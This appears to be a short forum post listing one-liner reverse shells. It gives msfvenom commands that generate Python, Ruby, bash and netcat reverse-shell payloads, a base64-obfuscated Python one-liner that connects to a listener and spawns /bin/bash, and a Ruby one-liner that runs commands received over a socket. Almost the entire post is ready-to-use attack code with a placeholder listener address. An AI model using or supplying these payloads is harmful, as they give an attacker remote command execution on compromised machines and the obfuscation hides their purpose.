One Liner Reverse Shells

One liner commands for reverse shells

A one liner command is the command list or a way by which we can write mallicious code in just one line without any problem.

Using msfvenom

msfvenom -p cmd/unix/reverse_python lhost=127.0.0.1 lport=443 R

msfvenom -p cmd/unix/reverse_ruby lhost=127.0.0.1 lport=443 R

msfvenom -p cmd/unix/reverse_bash lhost=127.0.0.1 lport=443

msfvenom -p cmd/unix/reverse_netcat lhost=127.0.0.1 lport=443 R

Python

python -c “exec(‘aW1wb3J0IHNvY2tldCAsICBzdWJwcm9jZXNzICwgIG9zIDtob3N0PSIxMjcuMC4wLjEiIDtwb3J0PTQ0MyA7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICwgIHNvY2tldC5TT0NLX1NUUkVBTSkgO3MuY29ubmVjdCgoaG9zdCAsICBwb3J0KSkgO29zLmR1cDIocy5maWxlbm8oKSAsICAwKSA7b3MuZHVwMihzLmZpbGVubygpICwgIDEpIDtvcy5kdXAyKHMuZmlsZW5vKCkgLCAgMikgO3A9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ==’.decode(‘base64’))”

Ruby

ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“127.0.0.1”,“443”);while(cmd=c.gets);IO.popen(cmd,“r”){|io|c.print io.read}end’

1 Like